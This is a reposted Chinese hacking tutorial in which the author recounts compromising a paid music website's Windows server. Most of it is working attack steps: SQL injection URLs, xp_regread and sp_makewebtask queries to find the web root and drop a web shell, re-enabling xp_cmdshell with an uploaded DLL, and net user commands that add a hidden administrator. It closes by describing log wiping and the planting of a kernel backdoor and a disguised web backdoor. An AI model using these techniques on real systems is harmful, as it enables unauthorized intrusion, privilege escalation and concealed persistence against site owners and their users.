我是怎么利用纯脚本技术,拿到系统管理员权限的

转载 2006年05月24日 14:17:00


时间:2005-01-10

来源:不详

  这绝对是一篇非常有观看价值的文章.有我对脚本注入漏洞的深入了解,对入侵的新思维分析.
目前网上到处流行的SQL INUTECTION 漏洞,也就是我们通常所说的SQL注入漏洞.利用这个漏洞大家可以跨表,跨库查询数据库信息.
以及通过论坛来上传文件从而得到主机WEBSHELL。这些都是一些很通常的手法.如果安装了PCANYWHERE,拿下CIF文件,破解后也就拿到了系统管理员账号.
不过,安装PCANYWHERE的机子也并不多.我们就开创一条新的道路.利用这个漏洞,更重要在于去了解和分析服务器的安全配置,找到漏洞.结合系统漏洞.
拿到管理员权限.这才是我们真正要做的.所以,今天我就为大家介绍一下,前段时间我对一大型音乐收费网站进行安全测试的全部.
经过和分析.结果我利用纯脚本技术,拿到了系统管理员权限.

踩点:
踩点,是对一个服务器进行安全测试的首要工作。我们对服务器先进行端口扫描.我拿出了朋友写的一款非常不错的扫描程序,速度相当快.同时开2000个线程半支烟功夫,端口从1-65535就扫完了.
扫描结果,开放端口如下:
21,80,1433,3389
再次扫描得到的结果相同.冲击波过后,网络上的服务器安全了许多.入侵也有一定的难度了.
分析了一下,我把目标集中在21,1433端口. 现在只有看看运气,是否能扫出个弱口令.
真是倒霉,我很久都没有扫到存在弱口今的机子了,今天也一样.什么都没扫出来.
看来,我也有从网站脚本上,寻找出路了.

对网站进行全方面的探索:
开了1433端口,SQLSERVER服务,一般都是ASP+MSSQL结构,来架设网站的,ASP脚本的注入漏洞,比其他脚本漏洞好找. 存在的机率也相对要大得多.我一般对所提交的参数,加入单引号进行判断.没有过滤的参数IE一般都会返回错误信息.

我很快找到了一个没有经过任何过滤的参数.
提交:http://www.cnwill.com/script.asp?id=2'
IE返回:





提交:http://www.cnwill.com/script.asp?id=2 and 1=1
IE返回正常记录.

提交:http://www.cnwill.com/script.asp?id=2 and 1=2
IE没有返回记录.

好了.下面我们就利用这个漏洞拿到服务器和数据库的一些相关信息.
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(select @@VERSION)
这就看到服务器打的补丁情况了!
出错了,呵呵,IE给我们返回了以下错误信息,如图1


( 图1)
服务器打了SP4补丁.据说打了SP4后,也有对80的溢出程序,和对MSSQL SP3的溢出程序.
不过这些我都没有,呵呵,这台服务器从系统方面对于我来讲,还是比较安全的.所以我还是接着从脚本方面着手吧.
再看看他的数据库连接账号的权限吧.
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常,证明当前连接的账号是服务器角色sysadmin权限.
差点没让我把嘴里的一口茶喷到电脑屏幕上.服务器角色居然是sysadmin权限.(如图2)


(图2)
哈哈!看来连接账号多半是SA的了。
提交:
http://www.cnwill.com/script.asp?id=2 and 'sa'=(SELECT System_user)
用来查看连接账号是不是用sa 连接的
IE再一次返回正常.证明了连接账号是SA。权限是至高无尚的了.

到这里,可能很多人,就想到了利用xp_cmdshell。来加系统账号,然后使用终端连接上去.
非常不错的想法!我也是很多人中的一员!我们来试试吧!

利用MSSQL存储过程,得到WEBSHELL。
来,看看xp_cmdshell是否被管理员删除了!
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
没有返回内容,提示找不到记录了。
看来,xp_cmdshell已经被删除了。呵呵,给他恢复一下.
http://www.cnwill.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'xplog70.dll'
再试,看xp_cmdshell是不是恢复过来了。

http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
同样没有返回内容.这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了.直接恢复是没有没法的了.
对此,我只能说两个字"我忍"!

这么好个漏洞,不好好利用我是不心甘的。先拿他的WEBSHELL再说,拿到WEBSHELL。我有办法对付他的。
我们GO!
看过,N.E.V.E.R和CZY的文章没有?拿WEBSHELL的方法,两位大哥都已经详细的介绍过了。我也把他们的方法写成了程序。方便我使用嘛.
不过很老火的是得不到WEB绝对路径。我们生成的木马保存在什么地方呢?
这可能是很多牛人一直在研究的问题。还好,我对MSSQL还是了解点点。有办法得到他的WEB绝对路径.跟我来吧.

下面我们要利用两个MSSQL存储过程.现在给大家介绍一下:
xp_regread 扩展存储过程和sp_makewebtask WEB 助手存储过程.

xp_regread是用来读出注册表信息的.我们用来得到WEB绝对路径就是用他.
sp_makewebtask是用来得到WEBSHELL的,其主要功能就是导出数据库中的表的记录为文件。
我这里就不用N.E.V.E.R大哥的方法了。他的方法是导出库文件,文件都比较大,所以采用了CZY大哥的方法。

1.怎么拿到WEB绝对路径?
呵呵,这个问题,花了我很久时间去研究.大家都知道MS的东西,都放在注册表中的。
在注册表中我们得到WEB位置就是:
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用扩展存储过程:xp_regread我们可以取得他的值.

EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
这样,就取出来了,问题又来咯,取是取出来了,我们怎么在IE中返回他的值呢?
我们先创建一个临时表,表中加一字段,类型为:char 255 呵呵这个用来保存WEB绝对路径的值.
表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。
然后向新建的表中加入变量的值。这样,路径就写入了表中。
来:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--

然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的WEB路径的值报出来了。
我也试过直接用变量来报错,让IE返回变量的值,结果是失败的,所以就想到了建临时表加数据进去的方法!
最后我们再删除刚建的临时表。工作就此告一段落。

2.怎么拿到WEBSHELL。
CZY大哥的文章已经写得很详细了。所以,我这里就只简单的提一下吧!
先创建一个表,建一字段,然后向这个字段中加入木马的内容。
然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在WEB绝对路径中.
再次删除建的昨时表,一切就OVER了。
如:
EXECUTE sp_makewebtask @outputfile = 'C:/WEB/yfdmm.asp',
@query = 'SELECT 你的字段 FROM 你建的临时表'
呵呵,结果就出来了。当然我都写成了程序,所以就不用那么麻烦,自己手工一行一行的加数据进去了。

方法和思路都写了。现在我们就来行动吧.
还是先看看,他这两个扩展存储过程是不是已经被删除了。如果被删了,我也不想活人了。真到兴头,冷水就来了。
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')
啦啦啦!今天是什么日子,我比过年还开心啦。全部返回正常。两个要用到的存储过程都没有删除。
(不过一般管理员也不会删除这两个的.了解太少了,也就不会注意他们嘛!)

好,来拿WEB绝对路径.
建表:
http://www.cnwill.com/script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));

向表中加数据:
http://www.cnwill.com/script.asp?id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output
insert into cyfd (gyfd) values(@result);--
爆出WEBSHELL的绝对路径:
http://www.cnwill.com/script.asp?id=2 and 1=(select count(*) from cyfd
where gyfd > 1)


如图3



哇,WEB绝对路径出来了: d:/Inetpub/wwwroot.
后面的,,211我们不管。
再把刚才建的表给删掉.
http://www.cnwill.com/script.asp?id=2;drop table cyfd;--

OK,有了路径下面的就好办多。
打开我写的获取WEBSHELL的程序。
输入漏洞URL:http://www.yfd.com/yfd.com?id=2

输入保存木马的绝对路径:d:/Inetpub/wwwroot.
木马我早就配置好了,代码简减了又简减只有30行代码,这样才少向服务器提交数据。
加快速度嘛!木马的主要功能,就是输入内容,把输入的内容保存为一个文件。呵呵,通过这样的木马,我们就可以实现上传一些功能强大的脚本木马了,如海洋木马.
一分钟不到。程序都已经运行完毕。输入相应的路径。娃哈哈,WEBSHELL就来了。以最快的速度生成了一个海洋木马。
如图4,5:

(图4)

(图5)
我生活在幸福之中。开心吧!下面我们还得接着干呢!

恢复xp_cmdshell,我们要拿到系统管理员权限

下面的工作就是很简单,很轻松了。10分钟不到,就给你一个管理员账号.
都说了xp_cmdshell已经被删除了。并且无法恢复,这多半是管理员把xplog70.dll文件给删除,要不改名了。
没事,我们上传一个xplog70.dll就搞定一切了。
通过WEBSHELL。我很快就把xplog70.dll文件给他上传到e:/inetpub/wwwroot目录下了。
来吧,我们来给他恢复
提交:
http://www.cnwill.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, 'e:/inetpub/wwwroot/xplog70.dll'
恢复,支持绝对路径的恢复哦。:)如图


OK。我们用IE来查看一下是不是已经恢复了。
提交:
http://www.cnwill.com/script.asp?id=2 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
嘿嘿。返回正常。已经恢复了.。
下面的还用我说吗?呵呵!

加账号:
http://www.cnwill.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net user chouyfd chouyfd1314yf /add'
提升自己为超级管理员
http://www.cnwill.com/script.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators chouyfd /add'

完毕。打开你的终端连接程序,连接吧!
哈哈,终于给我连上了。到此我就成功的拿到了这台主机的系统管理员账号. 如图6:

(图6)


 下面的工作就是清除日志和留下超级后门,然后闪人!

事后处理工作
终端连接上后,以最快的速度,清除IIS日志,和MSSQL日志.
同时,把xp_cmdshell也给他删除掉,不要让他发现了,也就不好办了。再把我上传的那个xplog70.dll移动到SYSTEM32目录下
改个我都不知道什么意思的名字叫:msxlog32.dll(打死他,他也查不出来,哈哈!)
嗯,再拿来,朋友提供的超级内核后门程序安装起,再把存在漏洞的脚本文件给打上补丁。同时在他的那个脚本程序中,我修改了代码。
 提交特定的参数(POST提交方式),显示我的WEB后门程序! 这样两个后门,很保险!怕什么呢?开开心心过年吧!

结束语!
本文章中的URL我全部经过处理,所以请大家原谅:)文章可能还有很多地方大家有不明白的。
抱歉,篇幅有限,直接和我交流吧!:dy-e@163.net

这次完全通过脚本技术拿到系统管理员账号.也是我很久以来,对MSSQL深入学习的结果.
本文章,主要在于入侵的思路.方法是多种多样的。希望对大家有所帮助。可能我对MSSQL的研究到此就结束了。期待我更精彩的吧!我能做到!相信我!

相关文章推荐

应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序

今天在维护原来项目的的时候突然出现了。 安全性异常 说明:应用程序试图执行安全策略不允许的操作。要授予此应用程序所需的权限,请与系统管理员联系,或在配置文件中更改该应用程序的信任级别。 ...
  • lzy_1515
  • lzy_1515
  • 2012年09月14日 10:35
  • 21457

Android之——申请应用系统管理员权限

把应用程序升级为拥有系统管理员权限。 写一个广播接收者,给该广播接收者去申请系统管理员的权限,让操作系统给广播接收者授权。(激活系统的授权组件)。 在此,本人主要通过申请应用系统管理员权限,锁屏,设置...

Qt取得Windows系统管理员权限(UAC)的方法

涉及到往系统分区写入文件时,如果程序没有获得管理员权限,会出现新建文件成功但无法写入数据的问题。 获取管理员权限的方法比较简单,只要在pro文件中加入: QMAKE_LFLAGS += /MANI...

VC 怎么获取windows7系统管理员权限

lisunlin0 lisunlin0 等级: #12 得分:0回复于: 2010-02-01 23:07:15 在《windows核心编程》第五版里面有提(尽管是关于vist...

Ubuntu中的用户管理(五)授予常规用户系统管理员权限

  • lqhbupt
  • lqhbupt
  • 2012年07月26日 11:33
  • 4909

Android应用程序申请系统管理员权限

Android应用程序具备系统管理员权限 ONE Goal, ONE Passion ! 一些操作比如: 自动锁屏.清除数据.等都需要获取系统管理员权限才能够操作.那么怎么才能获得管理员权限呢?...

写给linux系统管理员看的systemd 三如何把SysV Init脚本转换成一个systmed的service文件 (systemd作者blog翻译过来的)

原文地址:http://0pointer.de/blog/projects/systemd-for-admins-3.html How Do I Convert A SysV Init Scri...

win7win8系统管理员权限获取工具

  • 2014年02月19日 16:30
  • 160KB
  • 下载

系统管理员工具包: 充分利用 bash

来自:http://www.ibm.com/developerworks/cn/aix/library/au-satbash.html Martin Brown (mc@mcslp.com), 自由...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:我是怎么利用纯脚本技术,拿到系统管理员权限的
举报原因:
原因补充:

(最多只允许输入30个字)